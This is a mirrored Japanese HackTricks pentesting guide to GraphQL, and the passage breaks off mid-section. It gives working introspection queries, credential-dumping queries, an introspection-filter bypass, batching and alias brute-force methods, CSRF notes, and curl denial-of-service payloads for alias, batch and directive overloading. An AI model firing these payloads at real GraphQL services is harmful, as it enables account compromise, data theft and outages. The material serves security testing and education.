mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
584 lines
45 KiB
Markdown
584 lines
45 KiB
Markdown
# GraphQL
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Introduction
|
||
|
||
GraphQLは**効率的な代替手段**として**強調されており**、バックエンドからデータをクエリするための簡素化されたアプローチを提供します。RESTとは異なり、RESTはデータを収集するためにさまざまなエンドポイントに対して多数のリクエストを必要とすることが多いですが、GraphQLは**単一のリクエスト**で必要なすべての情報を取得することを可能にします。この簡素化は、データ取得プロセスの複雑さを軽減することにより、**開発者に大きな利益をもたらします**。
|
||
|
||
## GraphQLとセキュリティ
|
||
|
||
GraphQLを含む新しい技術の登場に伴い、新たなセキュリティ脆弱性も現れます。重要な点は、**GraphQLはデフォルトで認証メカニズムを含まない**ということです。開発者がそのようなセキュリティ対策を実装する責任があります。適切な認証がない場合、GraphQLエンドポイントは認証されていないユーザーに対して機密情報を露出する可能性があり、重大なセキュリティリスクを引き起こします。
|
||
|
||
### ディレクトリブルートフォース攻撃とGraphQL
|
||
|
||
露出したGraphQLインスタンスを特定するために、ディレクトリブルートフォース攻撃に特定のパスを含めることが推奨されます。これらのパスは次のとおりです:
|
||
|
||
- `/graphql`
|
||
- `/graphiql`
|
||
- `/graphql.php`
|
||
- `/graphql/console`
|
||
- `/api`
|
||
- `/api/graphql`
|
||
- `/graphql/api`
|
||
- `/graphql/graphql`
|
||
|
||
オープンなGraphQLインスタンスを特定することで、サポートされているクエリを調査することができます。これは、エンドポイントを通じてアクセス可能なデータを理解するために重要です。GraphQLのイントロスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。これに関する詳細は、GraphQLのイントロスペクションに関するドキュメントを参照してください:[**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
|
||
|
||
### フィンガープリンティング
|
||
|
||
ツール[**graphw00f**](https://github.com/dolevf/graphw00f)は、サーバーで使用されているGraphQLエンジンを検出し、セキュリティ監査人に役立つ情報を印刷することができます。
|
||
|
||
#### ユニバーサルクエリ <a href="#universal-queries" id="universal-queries"></a>
|
||
|
||
URLがGraphQLサービスであるかどうかを確認するために、**ユニバーサルクエリ** `query{__typename}`を送信できます。レスポンスに`{"data": {"__typename": "Query"}}`が含まれている場合、そのURLがGraphQLエンドポイントをホストしていることが確認されます。この方法は、クエリされたオブジェクトのタイプを明らかにするGraphQLの`__typename`フィールドに依存しています。
|
||
```javascript
|
||
query{__typename}
|
||
```
|
||
### 基本列挙
|
||
|
||
Graphqlは通常**GET**、**POST**(x-www-form-urlencoded)および**POST**(json)をサポートしています。ただし、セキュリティのためにCSRF攻撃を防ぐためにjsonのみを許可することが推奨されます。
|
||
|
||
#### インストロスペクション
|
||
|
||
スキーマ情報を発見するためにインストロスペクションを使用するには、`__schema`フィールドをクエリします。このフィールドはすべてのクエリのルートタイプで利用可能です。
|
||
```bash
|
||
query={__schema{types{name,fields{name}}}}
|
||
```
|
||
このクエリを使用すると、使用されているすべてのタイプの名前を見つけることができます:
|
||
|
||
.png>)
|
||
```bash
|
||
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
|
||
```
|
||
このクエリを使用すると、すべてのタイプ、そのフィールド、および引数(および引数のタイプ)を抽出できます。これは、データベースをクエリする方法を知るのに非常に役立ちます。
|
||
|
||
.png>)
|
||
|
||
**エラー**
|
||
|
||
**エラー**が**表示**されるかどうかを知ることは興味深いことであり、それは有用な**情報**に貢献します。
|
||
```
|
||
?query={__schema}
|
||
?query={}
|
||
?query={thisdefinitelydoesnotexist}
|
||
```
|
||
.png>)
|
||
|
||
**インストロスペクションを介してデータベーススキーマを列挙する**
|
||
|
||
> [!NOTE]
|
||
> インストロスペクションが有効であるが、上記のクエリが実行されない場合は、クエリ構造から `onOperation`、`onFragment`、および `onField` ディレクティブを削除してみてください。
|
||
```bash
|
||
#Full introspection query
|
||
|
||
query IntrospectionQuery {
|
||
__schema {
|
||
queryType {
|
||
name
|
||
}
|
||
mutationType {
|
||
name
|
||
}
|
||
subscriptionType {
|
||
name
|
||
}
|
||
types {
|
||
...FullType
|
||
}
|
||
directives {
|
||
name
|
||
description
|
||
args {
|
||
...InputValue
|
||
}
|
||
onOperation #Often needs to be deleted to run query
|
||
onFragment #Often needs to be deleted to run query
|
||
onField #Often needs to be deleted to run query
|
||
}
|
||
}
|
||
}
|
||
|
||
fragment FullType on __Type {
|
||
kind
|
||
name
|
||
description
|
||
fields(includeDeprecated: true) {
|
||
name
|
||
description
|
||
args {
|
||
...InputValue
|
||
}
|
||
type {
|
||
...TypeRef
|
||
}
|
||
isDeprecated
|
||
deprecationReason
|
||
}
|
||
inputFields {
|
||
...InputValue
|
||
}
|
||
interfaces {
|
||
...TypeRef
|
||
}
|
||
enumValues(includeDeprecated: true) {
|
||
name
|
||
description
|
||
isDeprecated
|
||
deprecationReason
|
||
}
|
||
possibleTypes {
|
||
...TypeRef
|
||
}
|
||
}
|
||
|
||
fragment InputValue on __InputValue {
|
||
name
|
||
description
|
||
type {
|
||
...TypeRef
|
||
}
|
||
defaultValue
|
||
}
|
||
|
||
fragment TypeRef on __Type {
|
||
kind
|
||
name
|
||
ofType {
|
||
kind
|
||
name
|
||
ofType {
|
||
kind
|
||
name
|
||
ofType {
|
||
kind
|
||
name
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
インラインイントロスペクションクエリ:
|
||
```
|
||
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
||
```
|
||
最後のコード行は、graphqlからすべてのメタ情報(オブジェクト名、パラメータ、タイプなど)をダンプするgraphqlクエリです。
|
||
|
||
.png>)
|
||
|
||
イントロスペクションが有効になっている場合、[**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager)を使用して、GUIですべてのオプションを表示できます。
|
||
|
||
### クエリ
|
||
|
||
データベース内にどのような情報が保存されているかがわかったので、**いくつかの値を抽出してみましょう**。
|
||
|
||
イントロスペクションでは、**どのオブジェクトを直接クエリできるか**を見つけることができます(オブジェクトが存在するからといってクエリできるわけではありません)。次の画像では、"_queryType_"が"_Query_"と呼ばれ、"_Query_"オブジェクトのフィールドの1つが"_flags_"であり、これもオブジェクトのタイプであることがわかります。したがって、フラグオブジェクトをクエリできます。
|
||
|
||

|
||
|
||
クエリ"_flags_"のタイプは"_Flags_"であり、このオブジェクトは以下のように定義されています:
|
||
|
||
.png>)
|
||
|
||
"_Flags_"オブジェクトは**name**と**value**で構成されていることがわかります。次に、クエリを使用してフラグのすべての名前と値を取得できます:
|
||
```javascript
|
||
query={flags{name, value}}
|
||
```
|
||
次の例のように、**クエリするオブジェクト**が**文字列**のような**プリミティブ****タイプ**である場合は、次のようにクエリできます。
|
||
```javascript
|
||
query = { hiddenFlags }
|
||
```
|
||
別の例では、"_Query_" タイプオブジェクトの中に "_user_" と "_users_" の 2 つのオブジェクトがありました。\
|
||
これらのオブジェクトが検索に引数を必要としない場合、必要なデータを **要求する** だけで **すべての情報を取得** できます。このインターネットの例では、保存されたユーザー名とパスワードを抽出できます:
|
||
|
||
.png>)
|
||
|
||
しかし、この例ではそうしようとすると **エラー** が発生します:
|
||
|
||
.png>)
|
||
|
||
どうやら、"_**uid**_" 引数のタイプ _**Int**_ を使用して検索するようです。\
|
||
とにかく、[Basic Enumeration](graphql.md#basic-enumeration) セクションでは、必要な情報をすべて表示するクエリが提案されていました:`query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||
|
||
そのクエリを実行したときに提供された画像を読むと、"_**user**_" にタイプ _Int_ の **arg** "_**uid**_" があったことがわかります。
|
||
|
||
したがって、軽い _**uid**_ ブルートフォースを実行したところ、_**uid**=**1** でユーザー名とパスワードが取得されました:\
|
||
`query={user(uid:1){user,password}}`
|
||
|
||
.png>)
|
||
|
||
私は、**パラメータ** "_**user**_" と "_**password**_" を要求できることを **発見** したことに注意してください。存在しないものを探そうとすると (`query={user(uid:1){noExists}}`) このエラーが発生します:
|
||
|
||
.png>)
|
||
|
||
そして、**列挙フェーズ**の間に、"_**dbuser**_" オブジェクトが "_**user**_" と "_**password**_" をフィールドとして持っていることを発見しました。
|
||
|
||
**クエリ文字列ダンプトリック(@BinaryShadow\_ に感謝)**
|
||
|
||
文字列タイプで検索できる場合、例えば:`query={theusers(description: ""){username,password}}` とし、**空の文字列**を **検索** すると、すべてのデータが **ダンプ** されます。 (_この例はチュートリアルの例とは関係ありません。この例では、"**theusers**" を "**description**" という文字列フィールドで検索できると仮定してください_)。
|
||
|
||
### 検索
|
||
|
||
このセットアップでは、**データベース**には **人** と **映画** が含まれています。 **人** は **メール** と **名前** で識別され、**映画** は **名前** と **評価** で識別されます。 **人** は互いに友達になり、映画を持つこともでき、データベース内の関係を示します。
|
||
|
||
**名前** で人を **検索** し、彼らのメールを取得できます:
|
||
```javascript
|
||
{
|
||
searchPerson(name: "John Doe") {
|
||
email
|
||
}
|
||
}
|
||
```
|
||
人を**名前**で**検索**し、彼らの**登録**した**映画**を取得できます:
|
||
```javascript
|
||
{
|
||
searchPerson(name: "John Doe") {
|
||
email
|
||
subscribedMovies {
|
||
edges {
|
||
node {
|
||
name
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
`subscribedMovies`の`name`を取得する方法に注意してください。
|
||
|
||
同時に**複数のオブジェクトを検索する**こともできます。この場合、2つの映画を検索します:
|
||
```javascript
|
||
{
|
||
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
|
||
name
|
||
}
|
||
}r
|
||
```
|
||
または、**エイリアスを使用した複数の異なるオブジェクトの関係**:
|
||
```javascript
|
||
{
|
||
johnsMovieList: searchPerson(name: "John Doe") {
|
||
subscribedMovies {
|
||
edges {
|
||
node {
|
||
name
|
||
}
|
||
}
|
||
}
|
||
}
|
||
davidsMovieList: searchPerson(name: "David Smith") {
|
||
subscribedMovies {
|
||
edges {
|
||
node {
|
||
name
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
### Mutations
|
||
|
||
**ミューテーションはサーバー側で変更を加えるために使用されます。**
|
||
|
||
**イントロスペクション**では、**宣言された** **ミューテーション**を見つけることができます。次の画像では、"_MutationType_"は"_Mutation_"と呼ばれ、"_Mutation_"オブジェクトにはミューテーションの名前(この場合は"_addPerson_"など)が含まれています:
|
||
|
||
.png>)
|
||
|
||
このセットアップでは、**データベース**には**人物**と**映画**が含まれています。**人物**はその**メール**と**名前**で識別され、**映画**はその**名前**と**評価**で識別されます。**人物**は互いに友達になり、映画を持つこともでき、データベース内の関係を示します。
|
||
|
||
データベース内に**新しい**映画を**作成する**ためのミューテーションは、次のようになります(この例ではミューテーションは`addMovie`と呼ばれます):
|
||
```javascript
|
||
mutation {
|
||
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
|
||
movies {
|
||
name
|
||
rating
|
||
}
|
||
}
|
||
}
|
||
```
|
||
**クエリ内で値とデータの型がどのように示されているかに注意してください。**
|
||
|
||
さらに、データベースは、既存の**友人**や**映画**との関連を持つ**人物**の作成を可能にする`addPerson`という名前の**ミューテーション**操作をサポートしています。新しく作成された人物にリンクする前に、友人と映画はデータベースに存在している必要があることに注意することが重要です。
|
||
```javascript
|
||
mutation {
|
||
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
||
person {
|
||
name
|
||
email
|
||
friends {
|
||
edges {
|
||
node {
|
||
name
|
||
email
|
||
}
|
||
}
|
||
}
|
||
subscribedMovies {
|
||
edges {
|
||
node {
|
||
name
|
||
rating
|
||
releaseYear
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|
||
### ディレクティブのオーバーロード
|
||
|
||
[**このレポートで説明されている脆弱性の1つ**](https://www.landh.tech/blog/20240304-google-hack-50000/)で説明されているように、ディレクティブのオーバーロードは、サーバーが操作を無駄にするまで、ディレクティブを何百万回も呼び出すことを意味します。
|
||
|
||
### 1つのAPIリクエストでのバッチブルートフォース
|
||
|
||
この情報は[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)から取得されました。\
|
||
**異なる認証情報で多くのクエリを同時に送信する**ことでGraphQL APIを通じて認証を行います。これは古典的なブルートフォース攻撃ですが、GraphQLのバッチ処理機能のおかげで、HTTPリクエストごとに1つ以上のログイン/パスワードペアを送信することが可能になりました。このアプローチは、外部のレート監視アプリケーションを欺いて、すべてが正常であり、パスワードを推測しようとするブルートフォースボットがいないと考えさせることができます。
|
||
|
||
以下は、**同時に3つの異なるメール/パスワードペア**を使用したアプリケーション認証リクエストの最も簡単なデモです。明らかに、同じ方法で1回のリクエストで数千を送信することが可能です:
|
||
|
||
.png>)
|
||
|
||
レスポンスのスクリーンショットからわかるように、最初と3番目のリクエストは_null_を返し、_error_セクションに対応する情報を反映しました。**2番目のミューテーションは正しい認証**データを持ち、レスポンスには正しい認証セッショントークンがあります。
|
||
|
||
 (1).png>)
|
||
|
||
## インストロスペクションなしのGraphQL
|
||
|
||
ますます多くの**graphqlエンドポイントがインストロスペクションを無効にしています**。しかし、予期しないリクエストが受信されたときにgraphqlが投げるエラーは、[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)のようなツールがスキーマのほとんどを再構築するのに十分です。
|
||
|
||
さらに、Burp Suite拡張機能[**GraphQuail**](https://github.com/forcesunseen/graphquail)は、**Burpを通過するGraphQL APIリクエストを観察し**、**新しいクエリを見るたびに**内部GraphQL**スキーマを構築します**。また、GraphiQLやVoyager用にスキーマを公開することもできます。この拡張機能は、インストロスペクションクエリを受信すると偽のレスポンスを返します。その結果、GraphQuailはAPI内で使用可能なすべてのクエリ、引数、およびフィールドを表示します。詳細については[**こちらを確認してください**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。
|
||
|
||
素晴らしい**ワードリスト**は、[**GraphQLエンティティを発見するためにここにあります**](https://github.com/Escape-Technologies/graphql-wordlist?)。
|
||
|
||
### GraphQLインストロスペクション防御の回避 <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||
|
||
APIのインストロスペクションクエリに対する制限を回避するために、`__schema`キーワードの後に**特殊文字を挿入する**ことが効果的です。この方法は、インストロスペクションをブロックすることを目的とした正規表現パターンにおける一般的な開発者の見落としを利用します。GraphQLが無視するが正規表現では考慮されない可能性のある**スペース、改行、カンマ**のような文字を追加することで、制限を回避できます。たとえば、`__schema`の後に改行を含むインストロスペクションクエリは、そのような防御を回避する可能性があります:
|
||
```bash
|
||
# Example with newline to bypass
|
||
{
|
||
"query": "query{__schema
|
||
{queryType{name}}}"
|
||
}
|
||
```
|
||
成功しない場合は、**GETリクエスト**や**`x-www-form-urlencoded`を使用したPOST**などの代替リクエストメソッドを検討してください。制限がPOSTリクエストのみに適用される可能性があります。
|
||
|
||
### WebSocketsを試す
|
||
|
||
[**このトーク**](https://www.youtube.com/watch?v=tIo_t5uUK50)で述べたように、WebSocketsを介してgraphQLに接続できるかどうかを確認してください。これにより、潜在的なWAFを回避し、WebSocket通信がgraphQLのスキーマを漏洩させる可能性があります。
|
||
```javascript
|
||
ws = new WebSocket("wss://target/graphql", "graphql-ws")
|
||
ws.onopen = function start(event) {
|
||
var GQL_CALL = {
|
||
extensions: {},
|
||
query: `
|
||
{
|
||
__schema {
|
||
_types {
|
||
name
|
||
}
|
||
}
|
||
}`,
|
||
}
|
||
|
||
var graphqlMsg = {
|
||
type: "GQL.START",
|
||
id: "1",
|
||
payload: GQL_CALL,
|
||
}
|
||
ws.send(JSON.stringify(graphqlMsg))
|
||
}
|
||
```
|
||
### **公開されたGraphQL構造の発見**
|
||
|
||
イントロスペクションが無効になっている場合、JavaScriptライブラリにプリロードされたクエリをウェブサイトのソースコードで調べることは有用な戦略です。これらのクエリは、開発者ツールの`Sources`タブを使用して見つけることができ、APIのスキーマに関する洞察を提供し、潜在的に**公開された機密クエリ**を明らかにします。開発者ツール内で検索するためのコマンドは次のとおりです:
|
||
```javascript
|
||
Inspect/Sources/"Search all files"
|
||
file:* mutation
|
||
file:* query
|
||
```
|
||
## GraphQLにおけるCSRF
|
||
|
||
CSRFが何か分からない場合は、以下のページを読んでください:
|
||
|
||
{{#ref}}
|
||
../../pentesting-web/csrf-cross-site-request-forgery.md
|
||
{{#endref}}
|
||
|
||
外には、**CSRFトークンなしで構成された**いくつかのGraphQLエンドポイントを見つけることができます。
|
||
|
||
GraphQLリクエストは通常、Content-Type **`application/json`**を使用してPOSTリクエストで送信されることに注意してください。
|
||
```javascript
|
||
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
||
```
|
||
しかし、ほとんどのGraphQLエンドポイントは**`form-urlencoded` POSTリクエスト**もサポートしています:
|
||
```javascript
|
||
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||
```
|
||
したがって、前述のようなCSRFリクエストは**プレフライトリクエストなしで**送信されるため、CSRFを悪用してGraphQLに**変更**を**加える**ことが可能です。
|
||
|
||
ただし、Chromeの`samesite`フラグの新しいデフォルトクッキー値は`Lax`であることに注意してください。これは、クッキーがGETリクエストでのみサードパーティのウェブから送信されることを意味します。
|
||
|
||
**クエリ** **リクエスト**を**GET** **リクエスト**として送信することも通常可能であり、GETリクエストではCSRFトークンが検証されない可能性があります。
|
||
|
||
また、[**XS-Search**](../../pentesting-web/xs-search/) **攻撃**を悪用することで、ユーザーの資格情報を利用してGraphQLエンドポイントからコンテンツを抽出することが可能かもしれません。
|
||
|
||
詳細については、[**こちらの元の投稿を確認してください**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)。
|
||
|
||
## GraphQLにおけるクロスサイトWebSocketハイジャック
|
||
|
||
GraphQLを悪用するCRSF脆弱性と同様に、**保護されていないクッキーを使用してGraphQLでの認証を悪用するためにクロスサイトWebSocketハイジャックを実行することも可能です**。これにより、ユーザーがGraphQLで予期しないアクションを実行することになります。
|
||
|
||
詳細については、確認してください:
|
||
|
||
{{#ref}}
|
||
../../pentesting-web/websocket-attacks.md
|
||
{{#endref}}
|
||
|
||
## GraphQLにおける認可
|
||
|
||
エンドポイントで定義された多くのGraphQL関数は、リクエスターの認証のみをチェックし、認可はチェックしない場合があります。
|
||
|
||
クエリ入力変数を変更すると、機密アカウントの詳細が[漏洩](https://hackerone.com/reports/792927)する可能性があります。
|
||
|
||
ミューテーションは、他のアカウントデータを変更しようとすることでアカウントの乗っ取りにつながる可能性があります。
|
||
```javascript
|
||
{
|
||
"operationName":"updateProfile",
|
||
"variables":{"username":INJECT,"data":INJECT},
|
||
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
|
||
}
|
||
```
|
||
### GraphQLにおける認証バイパス
|
||
|
||
[クエリのチェーニング](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln)を行うことで、弱い認証システムをバイパスすることができます。
|
||
|
||
以下の例では、操作が「forgotPassword」であり、それに関連付けられたforgotPasswordクエリのみを実行する必要があることがわかります。これをバイパスするには、最後にクエリを追加します。この場合、「register」と新しいユーザーとしてシステムに登録するためのユーザー変数を追加します。
|
||
|
||
<figure><img src="../../images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
||
|
||
## GraphQLにおけるエイリアスを使用したレート制限のバイパス
|
||
|
||
GraphQLでは、エイリアスはAPIリクエストを行う際に**プロパティを明示的に命名する**ことを可能にする強力な機能です。この機能は、**同じタイプ**のオブジェクトの**複数のインスタンス**を単一のリクエスト内で取得するのに特に便利です。エイリアスを使用することで、GraphQLオブジェクトが同じ名前の複数のプロパティを持つことを妨げる制限を克服できます。
|
||
|
||
GraphQLエイリアスの詳細な理解のために、以下のリソースを推奨します: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。
|
||
|
||
エイリアスの主な目的は多数のAPI呼び出しの必要性を減らすことですが、エイリアスを利用してGraphQLエンドポイントに対するブルートフォース攻撃を実行するという意図しない使用例が特定されています。これは、一部のエンドポイントがブルートフォース攻撃を防ぐために**HTTPリクエストの数**を制限するレートリミッターによって保護されているため可能です。しかし、これらのレートリミッターは、各リクエスト内の操作の数を考慮しない場合があります。エイリアスを使用すると、単一のHTTPリクエスト内に複数のクエリを含めることができるため、そのようなレート制限を回避できます。
|
||
|
||
以下の例を考えてみてください。これは、エイリアス付きのクエリを使用してストアの割引コードの有効性を確認する方法を示しています。この方法は、複数のクエリを1つのHTTPリクエストにまとめるため、レート制限を回避できる可能性があり、同時に多数の割引コードの確認を可能にします。
|
||
```bash
|
||
# Example of a request utilizing aliased queries to check for valid discount codes
|
||
query isValidDiscount($code: Int) {
|
||
isvalidDiscount(code:$code){
|
||
valid
|
||
}
|
||
isValidDiscount2:isValidDiscount(code:$code){
|
||
valid
|
||
}
|
||
isValidDiscount3:isValidDiscount(code:$code){
|
||
valid
|
||
}
|
||
}
|
||
```
|
||
## GraphQLにおけるDoS
|
||
|
||
### エイリアスのオーバーロード
|
||
|
||
**エイリアスのオーバーロード**は、攻撃者が同じフィールドに対して多くのエイリアスでクエリをオーバーロードし、バックエンドリゾルバがそのフィールドを繰り返し実行するGraphQLの脆弱性です。これによりサーバーリソースが圧倒され、**サービス拒否(DoS)**につながる可能性があります。例えば、以下のクエリでは、同じフィールド(`expensiveField`)がエイリアスを使用して1,000回要求され、バックエンドがそれを1,000回計算することを強制され、CPUやメモリが枯渇する可能性があります:
|
||
```graphql
|
||
# Test provided by https://github.com/dolevf/graphql-cop
|
||
curl -X POST -H "Content-Type: application/json" \
|
||
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
|
||
'https://example.com/graphql'
|
||
```
|
||
これを軽減するために、リソースの悪用を防ぐためにエイリアスカウント制限、クエリの複雑さ分析、またはレート制限を実装します。
|
||
|
||
### **配列ベースのクエリバッチ処理**
|
||
|
||
**配列ベースのクエリバッチ処理**は、GraphQL APIが単一のリクエストで複数のクエリをバッチ処理することを許可する脆弱性であり、攻撃者が同時に大量のクエリを送信できるようになります。これにより、すべてのバッチ処理されたクエリが並行して実行され、バックエンドが圧倒され、過剰なリソース(CPU、メモリ、データベース接続)を消費し、最終的には**サービス拒否(DoS)**につながる可能性があります。バッチ内のクエリ数に制限がない場合、攻撃者はこれを悪用してサービスの可用性を低下させることができます。
|
||
```graphql
|
||
# Test provided by https://github.com/dolevf/graphql-cop
|
||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||
-H "Content-Type: application/json" \
|
||
-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \
|
||
'https://example.com/graphql'
|
||
```
|
||
この例では、10の異なるクエリが1つのリクエストにバッチ処理され、サーバーにすべてを同時に実行させることを強制します。より大きなバッチサイズや計算コストの高いクエリで悪用されると、サーバーが過負荷になる可能性があります。
|
||
|
||
### **ディレクティブオーバーローディング脆弱性**
|
||
|
||
**ディレクティブオーバーローディング**は、GraphQLサーバーが過剰で重複したディレクティブを持つクエリを許可する場合に発生します。これは、サーバーのパーサーとエグゼキュータを圧倒する可能性があり、特にサーバーが同じディレクティブロジックを繰り返し処理する場合に顕著です。適切な検証や制限がない場合、攻撃者は多数の重複ディレクティブを持つクエリを作成することで、計算またはメモリ使用量を高め、**サービス拒否(DoS)**を引き起こすことができます。
|
||
```bash
|
||
# Test provided by https://github.com/dolevf/graphql-cop
|
||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||
-H "Content-Type: application/json" \
|
||
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
|
||
'https://example.com/graphql'
|
||
```
|
||
前の例では、`@aa` は宣言されていない可能性があるカスタムディレクティブです。通常存在する一般的なディレクティブは **`@include`** です:
|
||
```bash
|
||
curl -X POST \
|
||
-H "Content-Type: application/json" \
|
||
-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \
|
||
'https://example.com/graphql'
|
||
```
|
||
すべての宣言されたディレクティブを発見するために、イントロスペクションクエリを送信することもできます:
|
||
```bash
|
||
curl -X POST \
|
||
-H "Content-Type: application/json" \
|
||
-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \
|
||
'https://example.com/graphql'
|
||
```
|
||
そして、**いくつかのカスタム**を使用します。
|
||
|
||
### **フィールド重複脆弱性**
|
||
|
||
**フィールド重複**は、GraphQLサーバーが同じフィールドを過度に繰り返すクエリを許可する脆弱性です。これにより、サーバーは各インスタンスのためにフィールドを冗長に解決する必要があり、重要なリソース(CPU、メモリ、データベース呼び出し)を消費します。攻撃者は、何百または何千もの繰り返されたフィールドを持つクエリを作成することができ、高負荷を引き起こし、最終的には**サービス拒否(DoS)**につながる可能性があります。
|
||
```bash
|
||
# Test provided by https://github.com/dolevf/graphql-cop
|
||
